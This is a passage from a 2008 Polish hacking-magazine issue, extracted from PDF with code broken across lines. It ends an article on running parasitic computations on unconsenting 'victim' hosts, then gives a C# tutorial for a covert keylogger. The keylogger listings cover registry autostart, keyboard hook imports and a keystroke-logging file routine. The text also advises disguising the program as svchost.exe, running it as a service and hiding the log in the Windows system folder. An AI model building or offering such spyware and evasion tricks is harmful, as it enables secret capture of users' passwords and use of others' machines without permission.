ją  do  praktycznego  zastosowania 
obliczeń  pasożytniczych  w  posta-
ci  skonstruowania  gigantycznego
superkomputera i zagrożenia tech-
nikom kryptograficznym? Okazuje się, 
że  nie  do  końca.  Omawiane  podej-
ście  prezentuje  jak  najbardziej  god-
ny uwagi, wręcz rewolucyjny sposób 
spojrzenia  na  możliwości  prowadze-
nia obliczeń rozproszonych, ale spra-
wa komplikuje się po rozważeniu kilku 
dodatkowych czynników.

Listing 3. 

Polecenie sh do wylistowania hosta

sh
Hostname              Address          Packets  Timeouts  Enabled  Falsepos.
--------------------  ---------------       -------    --------     -------      -----------
192.168.0.2           192.168.0.2              0            0     yes      untested
192.168.0.3           192.168.0.3              0            0     yes      untested

Listing 2. 

Stan rejestrów pasożytniczej maszyny wirtualnej po 

zakończeniu wykonywania zadania obliczeniowego

Register  Decimal      Hex  Comment
--------  -------  -------  ---------------------------
r0000000       10   0x000a  Instruction pointer (ip)
r0000001        0   0x0000  Flag register (fl)
r0000002      255   0x00ff  XIA error register
r0000003      255   0x00ff  XIA carry register
r0000004        0   0x0000
r0000005        0   0x0000
r0000006        0   0x0000
r0000007        0   0x0000
r0000008        0   0x0000
r0000009       95   0x005f
r0000010        0   0x0000

background image

Techniki obliczeń pasożytniczych

hakin9 Nr 01/2008

www.hakin9.org

39

Pierwszy problem rodzi mecha-

nizm identyfikowania prawidłowych 
rozwiązań.  W  przypadku  niepo-
prawnego  obliczenia  sumy  kontro-
lnej  pakietu  przez  komputer-ofia-
rę, TCP usuwa pakiet i nie generuje 
żadnej odpowiedzi. W efekcie trud-
ne jest ustalenie, czy nie otrzymali-
śmy odpowiedzi wskutek faktycznie 
niepoprawnej sumy kontrolnej, czy 
też  na  przykład  w  wyniku  zmiany 
polityki firewalla lub po prostu odłą-
czenia komputera-ofiary od sieci.

Drugim aspektem trudności wy-

korzystania  informatyki  pasożytni-
czej w obecnej postaci jest fakt du-
żego  zapotrzebowania  na  pasmo 
potrzebne do rozesłania wielkiej ilo-
ści  pakietów  SAT.  Samo  przygoto-
wanie takich pakietów również wy-
maga  sporej  mocy  obliczeniowej. 
Czynniki  te  powodują,  że  na  dzień 
dzisiejszy opisywane podejście nie 
jest  wystarczająco  wydajne,  aby 
mogło  służyć  budowie  i  praktycz-
nemu  wykorzystaniu  gigantyczne-
go klastra zbudowanego z milionów 
komputerów znajdujących się w In-
ternecie.  

Przykładowa 

aplikacja pasożytnicza

Dobrym  przykładem  aplikacji  reali-
zującej obliczenia pasożytnicze przy 
wykorzystaniu omawianej metodolo-

gii jest stworzona przez Jürga Reus-
sera oraz Luziana Scherrera maszy-
na  wirtualna.  Oprogramowanie  to 
jest  publicznie  dostępne  pod  adre-
sem  http://szene.ch/parasit/.  Oma-
wiana maszyna jest w pełni progra-
mowalna i zdolna rozwiązać dowol-
ny znany problem matematyczny.

W  celu  zainstalowania  oprogra-

mowania pasożytniczej maszyny wir-
tualnej, należy pobrać kod źródłowy. 
Dostępny jest on pod adresem http://
szene.ch/parasit/code/parasitic_
computing.tar.gz 
Niniejszy artykuł za-
wiera opis wykorzystania omawianej 
aplikacji w systemie Linux. Po pobra-
niu archiwum należy je rozpakować. 
Można to zrobić poleceniem:

tar -zxf parasitic_computing.tar.gz

Następnie przechodzimy do instalacji:

make
make install

Aplikacja  instaluje  się  domyślnie 
w  katalogu 

/usr/local

,  a  więc  wa-

riant ten wymaga uprawnień do zapi-
suw tym katalogu. Aby zmienić doce-
lowy katalog, należy zmienić wartość 
zmiennej PREFIX w pliku Makefile.

Do  korzystania  z  programu  ko-

nieczne  jest  zrozumienie  podstaw 
jego  działania.  Maszyna  wirtualna 

wyposażona została w zestaw reje-
strów, które wykorzystywane są do 
wykonywania  zadań.  Rejestry  po-
siadają oznaczenia 

rn 

gdzie 

okre-

śla numer rejestru. Wyróżnić można 
tu trzy typy rejestrów:

•   r0 – rejestr instrukcji. Przeznaczo-

ny  do  przechowywania  numeru 
aktualnie wykonywanej instrukcji. 
Manipulacja jego zawartością po-
zwala na sterowanie przebiegiem 
zadania,

•   r1 – rejestr flagi. Pozwala na wy-

krywanie  warunku  zakończenia 
działania pętli. Przyjmuje wartość 

1

, gdy w którymś z rejestrów ogól-

nego  przeznaczenia  dojdzie  do 
przepełnienia  wywołanego  dzia-
łaniem  instrukcji  ADD  (instrukcje 
omówione zostały poniżej),

•   r2...rn  –  rejestry  ogólnego  prze-

znaczenia.  Można  przechowy-
wać w nich wartości oraz wyko-
nywać operacje arytmetyczne.

Autorzy aplikacji stworzyli zestaw in-
strukcji pozwalający na definiowanie 
zadań obliczeniowych realizowanych 
na  zdalnych  maszynach.  Język  ten 
bazuje na klasycznym assemblerze. 
Określony został jako 

4IA

, co ozna-

cza  czteroinstrukcyjny  assembler 
(4  Instruktionen  Assembler).  Zgod-
nie z nazwą, posiada on cztery pod-
stawowe instrukcje:

•   HLT – instrukcja przerywa wyko-

nanie zadania obliczeniowego,

•   SET  dst,  const  –  instrukcja 

umieszcza wartość const w reje-
strze określonym na pozycji dst,

•   MOV  dst,  src  –  instrukcja  ta  ko-

piuje wartość rejestru src do reje-
stru określonego jako dst,

•   ADD dst, src – instrukcja ADD po-

zwala  na  dodanie  wartości  prze-
chowywanej  w  rejestrze  src  do 
wartości rejestru dst. Wynik zapisa-

Problemy wielomianowe

Problemy wielomianowe to takie zadania, dla których na maszynie Turinga możliwe 
jest wygenerowanie rozwiązania w czasie wielomianowo proporcjonalnym do długo-
ści danych wejściowych. Czas potrzebny do rozwiązania takiego problemu jest bezpo-
średnio zależny od długości danych wejściowych podniesionych do stałej potęgi. Dla 
problemów klasy NP (niewielomianowych) nie ma takich rozwiązań. Dla tej klasy pro-
blemów niewielki wzrost długości danych wejściowych wywołuje znaczne wydłużenie 
czasu rozwiązywania problemu (czas może rosnąć wykładniczo).

Dla problemów NP-zupełnych będących podzbiorem problemów klasy NP udo-

wodniono brak rozwiązań w czasie proporcjonalnym do wielomianowego. 

W przypadku nietrywialnych danych wejściowych problemy NP są trudne w roz-

wiązywaniu.

Listing 4. 

Ilość pakietów pasożytniczych

sh
Hostname              Address          Packets  Timeouts  Enabled  Falsepos.
--------------------  ---------------       -------    --------     -------      -----------
192.168.0.2           192.168.0.2          817            0     yes      untested
192.168.0.3           192.168.0.3          809            0     yes      untested

background image

hakin9 Nr 01/2008

www.hakin9.org

Atak

40

ny zostaje w rejestrze dst. Jeśli doj-
dzie do przepełnienia zakresu reje-
stru, ustawiona zostaje flaga 

r1

Zestaw  powyższych  instrukcji  wystar-
cza  do  realizacji  każdej  operacji  aryt-
metycznej.  Jako  przykład  zrealizowa-
na  zostanie  prosta  operacja  odejmo-
wania. Trywialny problem 

100 - 5 

zde-

finiować można w następujący sposób: 
Tak przygotowany program gotowy jest 
do uruchomienia na pasożytniczej ma-
szynie.  Sama  maszyna  uruchamiana 
jest przy wykorzystaniu polecenia:

/usr/local/bin/pshell

Najpierw  należy  przygotować  plik
z  adresami  IP  komputerów,  które 
wykorzystane  zostaną  jako  ofia-
ry. Adresy rozdzielane są znakami 
nowej linii. Po przygotowaniu pliku
i  uruchomieniu 

pshell

,  należy  go 

załadować:

lh /sciezka/do/pliku/adresow_IP

Przykład:

lh /home/parasite/hosts
Hostlist loaded

Hosty  wylistować  można  przy  wyko-
rzystaniu polecenia 

sh

: W celu wyko-

nania  napisanego  zadania  posłużyć 
należy się następującym poleceniem:

xp /home/parasite/sub.4ia

Jeśli  wszystko  zakończy  się  po-
wodzeniem  (hosty  –  ofiary  po-

winny  być  włączone),  otrzymamy 
komunikat:

Execution successfully terminated.

Wyniki  (stan  rejestrów)  obejrzeć 
można  przy  wykorzystaniu  polece-
nia 

sr

. Rejestr 

r9

 przechowuje zgod-

ną z oczekiwaniami wartość 

100 – 5 

= 95

. Obliczenia powiodły się. 

Teraz  zobaczyć  można  także,  ile 

pasożytniczych  pakietów  wysłanych 
zostało do poszczególnych kompute-
rów. Szczegółowe statystyki obejrzeć 
można po wydaniu polecenia 

ss

.

Przykłady  bardziej  skompliko-

wanych zadań dostarczone są wraz 
z  maszyną  wirtualną  i  po  instalacji 
znaleźć je można w katalogu 

/usr/

local/share/parasit/4ia/

.

Strukturę  wysyłanych  pakietów 

można  obejrzeć  na  maszynach-
ofiarach przy wykorzystaniu dowol-
nego sniffera sieciowego (najlepiej 
Wireshark).  Obserwować  należy 
pakiety  ICMP  przesyłane  między 
ofiarą  i  pasożytem,  ponieważ  pa-
sożytniczy mechanizm obliczeń zo-
stał zaimplementowany przy wyko-
rzystaniu właśnie tego protokołu.

Aspekty legalności

Mimo,  że  informatyka  pasożytni-
cza  nie  narusza  integralności  sys-
temów  wykonujących  zlecone  ob-
liczenia,  może  powodować  opóź-
nienia  ich  działania.  Duże  ilości 
pakietów przesyłane do interfejsów 
sieciowych  powodują  efekty  po-
dobne do ataku typu Denial of Se-
rvice
. Z tego powodu powstaje sze-
reg  pytań  natury  etyczno-prawnej 

dotyczących wykorzystywania mo-
cy obliczeniowej maszyn znajdują-
cych  się  w  Internecie  bez  pozwo-
lenia  ich  właścicieli.  Wszystko  to 
skłania  do  refleksji  na  temat  okre-
ślenia  granic  własności  zasobów  
Internetu.

Podsumowanie

Podsumowując,  da  się  zauważyć, 
że  informatyka  pasożytnicza  za-
ciera  granice  pomiędzy  komunika-
cją a obliczeniami w sieci. Udowod-
niono,  że  możliwe  jest  wymusze-
nie  użytecznych  obliczeń  na  zdal-
nych  komputerach  przy  wykorzy-
staniu  samej  infrastruktury  obec-
nego Internetu. Mimo, iż w prakty-
ce zastosowanie obliczeń pasożyt-
niczych  w  ich  obecnej  formie  jest 
mocno ograniczone, otwiera drogę 
do kolejnych eksperymentów i zna-
cząco wpływa na aspekty spojrze-
nia na Internet. l

Rysunek 1. 

Prototyp 

pasożytniczego komputera

Pasożyt

Ofiara

HTTP

HTTP

TCP

TCP

IP

IP

Sieć

Sieć

Interfejs fizyczny

Poprawne rozwiązanie

Błędne rozwiązanie – brak odpowiedzi

Pakiet odrzucony z powodu 

błędnej sumy kontrolnej

Rysunek 2. 

Działania mechanizmu 

obliczeń pasożytniczych

Pasożyt

niepoprawna

suma kontrolna

(brak odpowiedzi)

niepoprawna

suma kontrolna

(brak odpowiedzi)

Ofiara

Ofiara

Ofiara

Poprawna 

suma 

kontrolna 

(odpowiedź)

Znaleziono 

poprawne 

rozwiązanie!

O autorze

Aktualnie jest studentem drugiego roku SUM Informatyki na Akademii Górniczo-Hutni-
czej w Krakowie. Do jego głównych zainteresowań należy programowanie, administra-
cja systemów komputerowych oraz aspekty bezpieczeństwa informatycznego. 
Kontakt z autorem: michal.stys@gmail.com

W Sieci

•   http://www.nd.edu/~parasite/ – strona twórców idei informatyki pasożytniczej wyko-

rzystującej mechanizmy protokołów internetowych,

•   http://szene.ch/parasit/ – strona z implementacjami oprogramowania wykorzystu-

jącego techniki obliczeń pasożytniczych.

background image
background image

www.hakin9.org

hakin9 Nr 01/2008

42

Atak

P

isząc  o  podsłuchiwaniu  hasła,  nie  ma-
my  oczywiście  na  myśli  przypadku  pod-
słuchiwania  mówiącego  sobie  pod  no-

sem użytkownika, który właśnie wprowadza swo-
je hasło. Chodzi nam o program, który bez wiedzy 
użytkownika będzie zapisywał wszystkie naciśnię-
te klawisze. Będzie go mógł napisać nawet śred-
nio  zaawansowany  programista,  znający  system 
Windows. Widać zatem, że jest to realne zagro-
żenie. Przyjrzyjmy się teraz, jak system Windows 
opiekuje się uruchamianymi programami. Działa-
nie aplikacji okienkowych polega przede wszyst-
kim  na  reagowaniu  na  zdarzenia.  Zdarzenia  to 
nic innego jak wyniki interakcji użytkownika z apli-
kacją. Jest to więc klikanie, przyciskanie, upusz-
czanie, przeciąganie oraz inne akcje, które moż-
na wykonać w aplikacji. Pisząc jakiś program pod 
Windows w środowiskach RAD (ang. Rapid Ap-
plication  Development
),  musimy  stworzyć  me-
tody  zdarzeniowe  związane  z  konkretnymi  zda-
rzeniami dla kontrolek aplikacji. W zależności od 
języka programowania – bądź platformy urucho-
mieniowej – mamy do dyspozycji różne mechani-
zmy reakcji na zdarzenia w aplikacji. Dla platformy 
.NET będą to delegacje, w C++ Bulider – wskaź-
niki na funkcje, a dla Javy specjalne obiekty nasłu-
chujące. Skąd jednak aplikacja wie, że jej przycisk 

został kliknięty? Taką informację dostaje od sys-
temu  Windows.  Utrzymuje  on  dla  każdego  uru-
chomionego programu kolejkę, która przechowu-
je  zdarzenia.  Zdarzeniem,  które  nas  najbardziej 
w tym momencie interesuje, jest naciśnięcie kla-
wisza na klawiaturze. Aby je przechwycić, musi-
my monitorować komunikaty wysyłane do urucho-
mionych w systemie aplikacji. Nie jest to zadanie 
specjalnie skomplikowane (nie musimy modyfiko-
wać np. jądra), ponieważ system Windows udo-
stępnia mechanizm haków (ang. hooks). Został on 
już opisany przez Jacka Matulewskiego w nume-

C#.NET –  

podsłuchiwanie klawiatury

Sławomir Orłowski, Maciej Pakulski

stopień trudności

Skomplikowane i często aktualizowane hasło, które oprócz liter 

zawiera również cyfry i znaki specjalne, to bardzo dobry sposób 

obrony przed nieautoryzowanym dostępem. Pod warunkiem, że 

nie jesteśmy podsłuchiwani w trakcie jego wprowadzania.

Z artykułu dowiesz się

•   jak działają haki w systemie Windows,
•   jak dodawać wpisy do rejestru systemowego,
•   jak  z  poziomu  kodu  C#  podsłuchiwać  kla-

wiaturę.

Co powinieneś wiedzieć

•   podstawy  programowania  zorientowanego 

obiektowo,

•   podstawy działania systemu Windows,
•   podstawowa znajomość sieci komputerowych.

background image

C#.NET – podsłuchiwanie klawiatury

hakin9 Nr 01/2008

www.hakin9.org

43

rze 4/2007, jednak pod nieco innym ką-
tem. My zajmiemy się użyciem haków 
w  kodzie  C#.  Będziemy  zmuszeni  do 
skorzystania z funkcji 

WinAPI

 oraz me-

tod specyficznych dla Windows, co jest 
pogwałceniem  idei  platformy  urucho-
mieniowej.

Dodawanie 

wpisów do autostartu

Idea  platformy  uruchomieniowej  po-
lega  na  przenaszalności  programu 
na  poziomie  kodu  i  aplikacji  pomię-
dzy  systemami  operacyjnymi.  Jed-
nak  Linux  nie  posiada  czegoś  takie-
go, jak rejestr. W związku z tym nasz 
program, pomimo tego, że jest pisany 
dla platformy .NET, będzie działał po-
prawnie jedynie dla systemu operacyj-
nego Windows. Inną kwestią pozosta-
je, czy firmie Microsoft naprawdę zale-
ży na przenaszalności kodu pomiędzy 
systemami  innymi  niż  Windows.  Za-
nim  rozpoczniemy  tworzenie  haków, 
napiszemy  metodę,  która  będzie  do-
dawała wpisy do autostartu. Pozwoli to 
uruchomić nasz program przy każdym 
starcie  systemu.  Ponieważ,  jak  napi-
sałem  wcześniej,  rejestr  systemowy 
jest  specyficzny  dla  Windows,  twór-
cy  .NET  postanowili  wszystkie  kla-
sy  z  nim  związane  umieścić  w  prze-
strzeni nazw Microsoft, a nie System
Dane  dotyczące  automatycznie  uru-
chamianych  programów  przechowuje 
klucz  Software\Microsoft\Windows\
CurrentVersion\Run
  rejestru  syste-
mowego.  Jeżeli  zapiszemy  ścieżkę 
z plikiem .exe w kluczu HKEY_CUR-
RENT_USER
,  nasza  aplikacja  bę-
dzie uruchamiana po wlogowaniu się 
aktualnie  zalogowanego  użytkowni-
ka. Jeżeli zapiszemy ją w HKEY_LO-
CAL_MACHINE
, program uruchamia-
ny będzie po wlogowaniu się dowolne-
go użytkownika. W naszej wersji niech 
będzie  to  aktualny  użytkownik.  Musi-
my dodać jeszcze w sekcji using prze-
strzeń nazw Microsoft.Win32. Metoda 
realizująca  nasze  zadanie  przedsta-
wiona jest na Listingu 1.

Na  początku  metody  znajduje  się 

deklaracja typów wyliczeniowych, któ-
re przydadzą nam się do określenia ro-
dzaju  operacji,  jaką  chcemy  wykonać 
(typ 

asOperation

)  oraz  do  określenia, 

czy się ona udała (

asValue

). Ponieważ 

C# jest językiem silnie obiektowym, to 
wspomniane  typy  wyliczeniowe  musi-
my  zadeklarować  jako  pola  klasy  re-
prezentującej  nasz  program.  Parame-

try,  jakie  przyjmuje  nasza  metoda,  to 
nazwa klucza (zmienna 

name

), ścieżka 

dostępu i nazwa pliku wykonywalnego, 
który chcemy uruchomić (zmienna 

exe

Listing 1. 

Metoda sprawdzająca, dodająca lub usuwająca wpis w 

autostarcie systemu 

Windows

enum

 

asOperation

 

{

 

asCheck

asWrite

asDelete

 

}

;

enum

 

asValue

 

{

 

yes

no

error

 

}

;

private

 

static

 

asValue

 

InsertInAutostart

(

string

 

name

string

 

exe

asOperation

 

operation

)

{

    

const

 

string

 

key

 

=

 

"Software

\\

Microsoft

\\

Windows

\\

CurrentVersion

\\

Run"

;

    

try

    

{

        

RegistryKey

 

rg

 

=

 

Registry

.

CurrentUser

.

OpenSubKey

(

key

true

);

        

switch

 

(

operation

)

        

{

            

case

 

asOperation

.

asCheck

:

                

if

 

(

rg

.

GetValue

(

name

)

 

!=

 

null

)

 

return

 

asValue

.

yes

;

                

else

                    

return

 

asValue

.

no

;

            

case

 

asOperation

.

asWrite

:

                

rg

.

SetValue

(

name

exe

);

                

rg

.

Close

();

                

return

 

asValue

.

yes

;

            

case

 

asOperation

.

asDelete

:

                

rg

.

DeleteValue

(

name

);

                

rg

.

Close

();

                

return

 

asValue

.

yes

;

        

}

        

return

 

asValue

.

no

;

    

}

    

catch

    

{

        

return

 

asValue

.

error

;

    

}

}

Listing 2. 

Import funkcji WinAPI

[

DllImport

(

"user32.dll"

)]

private

 

static

 

extern

 

IntPtr

 

CallNextHookEx

(

IntPtr

 

hhk

int

 

nCode

IntPtr

 

wParam

IntPtr

 

lParam

);

[

DllImport

(

"user32.dll"

)]

private

 

static

 

extern

 

int

 

ToAscii

(

uint

 

uVirtKey

uint

 

uScanCode

byte

[]

 

lpKeyState

ref

  

char

 

lpChar

uint

 

flags

);

[

DllImport

(

"user32.dll"

)]

private

 

static

 

extern

 

bool

 

GetKeyboardState

(

byte

[]

 

data

);

[

DllImport

(

"user32.dll"

)]

static

 

extern

 

short

 

GetKeyState

(

int

 

nVirtKey

);

Listing 3. 

Pola klasy TestDll

private

 

static

 

char

 

caughtChar

;

private

 

static

 

string

 

path

 

=

 

"C:

\\

plik.txt"

;

private

 

const

 

byte

 

VK_SHIFT

 

=

 

0x10

;

private

 

const

 

byte

 

VK_CAPITAL

 

=

 

0x14

;

private

 

static

 

bool

 

CapsLockDown

;

private

 

static

 

bool

 

ShiftDown

;

private

 

const

 

uint

 

WM_KEYDOWN

 

=

 

0x0100

;

background image

hakin9 Nr 01/2008

www.hakin9.org

Atak

44

oraz rodzaj operacji, jaką chcemy wy-
konać  (stworzony  przez  nas  typ  wyli-
czeniowy 

asOperation

).  Aby  stworzyć 

obiekt  reprezentujący  klucz  rejestru, 
używamy metody 

OpenSubKey

. W zależ-

ności od tego, czy jest to metoda wła-
sności 

CurrentUser

,  czy 

LocalMachine

wpis  stworzony  będzie  odpowied-
nio  w  HKEY_CURRENT_USER  lub 
w  HKEY_LOCAL_MACHINE.  Do 
sprawdzenia  wartości  klucza  służy 
metoda 

GetValue

.  Do  zapisu  klucza 

używamy metody 

SetValue

, a do jego 

usunięcia – 

DeleteValue

. Każda z tych 

|metod może generować wyjątek, do-
datkowo sam proces tworzenia obiektu 
klasy 

RegistryKey

  może  spowodować 

zgłoszenie wyjątku – w związku z tym 
całość umieszczamy w bloku ochron-
nym try-catch. Wyjątki mogą być spo-
wodowane brakiem dostępu do rejestru 
lub konkretnego klucza. Wywołanie tej 
metody najlepiej umieścić w kodzie wy-
konywanym  w  trakcie  uruchamiania 
programu. Może to być konstruktor for-
my bądź zdarzenie 

Load

 – w przypad-

ku aplikacji Windows Forms. Możemy 
wtedy  sprawdzić,  czy  istnieje  w  reje-
strze odpowiedni klucz i w przypadku 
jego braku – utworzyć go.

Umiemy  już  umieszczać  naszą 

aplikację  w  autostarcie.  Jednak  po 
uruchomieniu będzie nadal widoczna 
w oknie menadżera zadań. W syste-

mach  Windows  począwszy  od  2000 
nie ma, na szczęście, łatwego sposo-
bu, aby usunąć nazwę procesu z me-
nadżera zadań. Ale możemy udawać 
proces  systemowy.  Wystarczy  na-
zwać  nasz  program  np.  svchost.exe
Ta  prosta  sztuczka  zadziała  w  więk-
szości  przypadków.  Można  jeszcze 
uruchomić program w trybie usługi.

Windows hooks

Jak wspomnieliśmy na początku, dzia-
łanie systemu Windows opiera się na 
przekazywaniu  komunikatów  (ang. 
Windows  messages).  Haki  pozwala-
ją nam na zainstalowanie specjalnych 
funkcji  monitorujących,  których  zada-
niem jest przetwarzanie komunikatów 
Windows, nim dotrą do konkretnej apli-
kacji. Do dyspozycji mamy kilka typów 
haków i dla każdego takiego typu sys-
tem tworzy tzw. łańcuch funkcji moni-
torujących. W momencie zajścia zda-
rzenia  związanego  z  określonym  ty-
pem haków komunikat Windows kiero-
wany jest najpierw do funkcji monitoru-
jących znajdujących się w określonym 
łańcuchu. Typ haka determinuje czyn-
ności, które funkcja monitorująca mo-
że przeprowadzić na przechwyconym 
komunikacie.  Niektóre  typy  pozwala-
ją  tylko  na  odczyt  danych  z  komuni-
katu. Istnieją również takie, dzięki któ-
rym  komunikat  może  być  zmodyfiko-

wany a także może nie dotrzeć do wy-
branej aplikacji. Funkcje monitorujące 
mogą  mieć  zasięg  lokalny  bądź  glo-
balny  (zwany  również  systemowym). 
Zasięg lokalny daje funkcji monitorują-
cej możliwość przechwycenia komuni-
katów zdarzeń, które zaszły tylko we-
wnątrz wątku, w którym funkcja zosta-
ła zainstalowana. Wątek można koja-
rzyć z konkretnym programem. Zasięg 
globalny pozwala na odbieranie komu-
nikatów zdarzeń, które zaszły w każ-
dym  wątku  działającym  w  systemie. 
Jednakże, jeżeli funkcja monitorująca 
ma mieć zasięg globalny, jej kod musi 
być umieszczony w bibliotece łączonej 
dynamicznie (DLL).

Program  podsłuchujący  klawia-

turę  będzie  się  składał  z  dwóch  pro-
jektów.  Pierwszy  będzie  zawierać  bi-
bliotekę DLL, ponieważ chcemy prze-
chwytywać  komunikaty  wygenero-
wane  dla  każdej  aplikacji  działającej 
w  systemie.  Drugi  projekt  będzie  od-
powiedzialny  za  zainstalowanie  funk-
cji monitorującej. Funkcja monitorują-
ca będzie składową pisanej przez nas 
klasy, więc powinniśmy używać raczej 
określenia  metoda.  My  jednak  pozo-
staniemy przy terminie funkcja monito-
rująca, aby podkreślić jej pochodzenie 
z biblioteki systemowej. Używając je-
dynie platformy .NET nie mamy moż-
liwości  wykorzystania  obiektów,  któ-
re  pozwalałyby  nam  na  korzystanie 
z haków. Jest to naturalna konsekwen-
cja  związana  z  przenaszalnością  ko-
du.  Będziemy  musieli  więc  wykorzy-
stać niektóre funkcje 

WinAPI 

z bibliotek 

DLL  systemu  Windows.  Do  importu 
funkcji z bibliotek DLL służy polecenie 

DllImport

. Aby wygodnie go używać, 

do projektu w sekcji 

using

 należy do-

dać przestrzeń nazw 

System.Runtime.

InteropServices

.  Polecenie 

DllImport

 

ma następującą składnię:

[DllImport(nazwa_pliku_DLL)]
Modyfikator _ dostępu  static  extern 
typ _ zwracany NazwaFunkcji(
parametry};

Parametry  są  opcjonalne,  ponieważ 
istnieje wiele funkcji, które nie przyj-
mują  żadnych  parametrów.  Warto 
dodać, iż importując funkcje WinAPI 
możemy  napotkać  problem  z  wybo-

Listing 4. 

Metoda zapisująca przechwycone klawisze do pliku 

tekstowego

private

 

static

 

void

 

SaveChar

(

char

 

theChar

string

 

where

)

{

    

if

(

File

.

Exists

(

where

))

    

{

        

using

 

(

StreamWriter

 

sw

 

=

 

File

.

AppendText

(

where

))

        

{

            

sw

.

Write

(

theChar

);

           

 // nowa linia

            

if

 

(

theChar

 

==

 '

\r

'

)

                

sw

.

Write

(

'

\n

'

);

        

}

    

}

    

else

    

{

        

using

 

(

StreamWriter

 

sw

 

=

 

File

.

CreateText

(

where

))

        

{

            

sw

.

Write

(

theChar

);

            

if

 

(

theChar

 

==

 '

\r

'

)

                

sw

.

Write

(

'

\n

'

);

        

}

    

}

}

background image

C#.NET – podsłuchiwanie klawiatury

hakin9 Nr 01/2008

www.hakin9.org

45

rem  odpowiedniego  typu  dla  wskaź-
ników i uchwytów. Dla platformy .NET 
są  one  reprezentowane  przez  struk-
turę 

IntPtr

.

Tworzymy bibliotekę 

łączoną dynamicznie

W części tej stworzymy bibliotekę DLL, 
która będzie zawierać funkcję monito-
rującą.  Właśnie  tę  bibliotekę  będzie-
my wstrzykiwać w strumień komunika-
tów  systemu  Windows.  Do  przygoto-
wania programu użyjemy darmowego 
środowiska  Visual  C#  2005  Express 
Edition. Można je pobrać ze stron fir-
my Microsoft. Odpowiedni link znajdu-
je się w ramce W Sieci. Uruchamiamy 
Visual  C#  2005  i  wybieramy  File  –> 
New Project –> Class Library i nada-
jemy naszemu projektowi nazwę Test-
Dll
. Jak zawsze, środowisko Visual C# 
2005 Expres Edition generuje pewien 
szablon kodu. Dodamy teraz do utwo-
rzonego  szkieletu  klasy  odpowiednie 
metody i pola. Zaczniemy od zaimpor-
towania czterech funkcji WinAPI, które 
pochodzić będą z biblioteki user32.dll 
(Listing 2). 

Pierwsza  funkcja  to 

CallNext-

HookEx

. Ma ona za zadanie przekazać 

komunikat  otrzymany  przez  funkcję 
monitorującą do kolejnej funkcji moni-
torującej. Jej pierwszym parametrem 
jest uchwyt do aktualnie zainstalowa-
nej  funkcji  monitorującej.  Pozostałe 
parametry  zostaną  omówione,  gdy 
zdefiniujemy  funkcję  monitorującą. 
Wartość zwracana przez funkcję jest 
różna w zależności od typu haka. Ko-
lejne z importowanych funkcji umoż-
liwiają odczytanie znaku wciśniętego 
klawisza klawiatury z odebranego ko-
munikatu.  Funkcja 

ToAscii

  służy  do 

zamiany  kodu  wirtualnego  klawisza 
na odpowiedni znak w kodzie ASCII. 
Jej parametry to:

•  

uVirtKey

 – wirtualny kod klawisza,

•  

uScanCode

  –  tzw.  hardware  scan 

code.  Najbardziej  znaczący  bit 
tego  parametru  jest  ustawiony, 
jeżeli klawisz nie jest wciśnięty,

•  

lpKeyState

 – 256-elementowa ta-

blica, która zawiera aktualny stan 
klawiatury. Każdy element tablicy 
przechowuje status jednego kla-
wisza,

•  

lpChar

 – parametr, w którym zo-

stanie  zapisany  znak  w  kodzie 
ASCII,

•  

flags

 – flagi dotyczące menu.

Jeżeli  funkcja  zadziała  poprawnie, 
wówczas zwracana jest wartość nie-
zerowa.  Do  określania  aktualnego 
stanu klawiatury służy kolejna funk-
cja o nazwie 

GetKeyboardState

. Para-

metrem funkcji jest 256-elementowa 
tablica zmiennych typu 

byte

, w któ-

rej  zostanie  zapisany  aktualny  stan 
klawiatury.  Jeżeli  funkcja  zadziała 
poprawnie, również zwraca wartość 
różną od 0. W celu określenia stanu 
pojedynczego klawisza skorzystamy 
z  funkcji 

GetKeyState

.  Parametrem 

funkcji  jest  wirtualny  kod  klawisza, 
którego  stan  chcemy  określić.  Kla-
wisz może być wciśnięty, zwolniony 
lub  przełączony.  Terminem  klawisz 
jest przełączony będziemy oznaczać 
stan, w którym wciśnięcie wybrane-
go klawisza powoduje uaktywnienie 
pewnego  trybu  (np.  wciśnięcie  kla-
wisza Caps Lock powoduje włącze-
nie  trybu  pisania  dużymi  literami). 
Wartość  zwracana  przez  funkcję 

GetKeyState

  informuje  nas  o  stanie 

wybranego  klawisza.  Jeżeli  najbar-
dziej znaczący bit zwracanej warto-
ści jest ustawiony, to klawisz jest wci-
śnięty. W przeciwnym wypadku jest 
zwolniony. Jeżeli najmniej znaczący 

bit jest ustawiony, wówczas wybrany 
klawisz jest przełączony. W przeciw-
nym  wypadku  nie  jest  przełączony. 
Możemy  teraz  przejść  do  dodania 
pól do naszej klasy (Listing 3).

W  pierwszym  z  nich  zapiszemy 

nasz  przechwycony  znak  (

caught-

Char

).  Pole 

path

  typu 

string

  będzie 

określało ścieżkę do pliku, w którym 
będziemy  zapisywać  przechwycone 
znaki. Jest on plikiem tekstowym, aby 
można było w prosty sposób spraw-
dzić  działanie  programu.  Jednakże 
w  celu  lepszego  ukrycia  tego  pli-
ku  moglibyśmy  np.  zapisywać  znaki 
w pliku binarnym i umieścić go w fol-
derze $Windows\System (jeżeli posia-
damy  do  niego  prawa  zapisu),  gdzie 
przeciętny  użytkownik  rzadko  zaglą-
da – jest zresztą wiele innych miejsc 
na dysku, gdzie nasz plik może spo-
kojnie  egzystować,  nie  nękany  przez 
użytkownika. Oczywiście nazwa pliku 
też powinna być wtedy inna.

Kolejne  cztery  pola  związane  są 

z klawiszami Shift i Caps Lock. Stałe 

VK _ SHIFT

 i 

VK _ CAPITAL

 oznaczają od-

powiednio kody klawiszy wirtualnych 
Shift i Caps Lock. Pole ShiftDown bę-
dzie  przyjmować  wartość  true,  jeże-
li klawisz Shift jest wciśnięty. W prze-
ciwnym  wypadku  pole  to  przyjmie 
wartość  false.  Pole  CapsLockDown 
będzie przyjmować wartość true, je-
żeli klawisz CapsLock został przełą-

Listing 5. 

Metoda odczytująca znak z przechwyconego komunikatu

private static char

 

GetChar

(

int vkCode

)

{

    

byte

[]

 

data

 

=

 

new

 

byte

[

256

];

    

GetKeyboardState

(

data

);

    

char

 

myChar

 

=

 ' '

;

    

uint

 

scan

 

=

 

0

;

    

ToAscii

((

uint

)

vkCode

scan

data

ref

 

myChar

0

);

    

return

 

myChar

;

}

Listing 6. 

Definicja struktury KBDLLHOOKSTRUCT

[

StructLayout

(

LayoutKind

.

Sequential

)]

public

 

struct

 

KBDLLHOOKSTRUCT

{

    

public

 

int

 

vkCode

;

    

public

 

int

 

scanCode

;

    

public

 

int

 

flags

;

    

public

 

int

 

time

;

    

public

 

int

 

dwExtraInfo

;

}

background image

hakin9 Nr 01/2008

www.hakin9.org

Atak

46

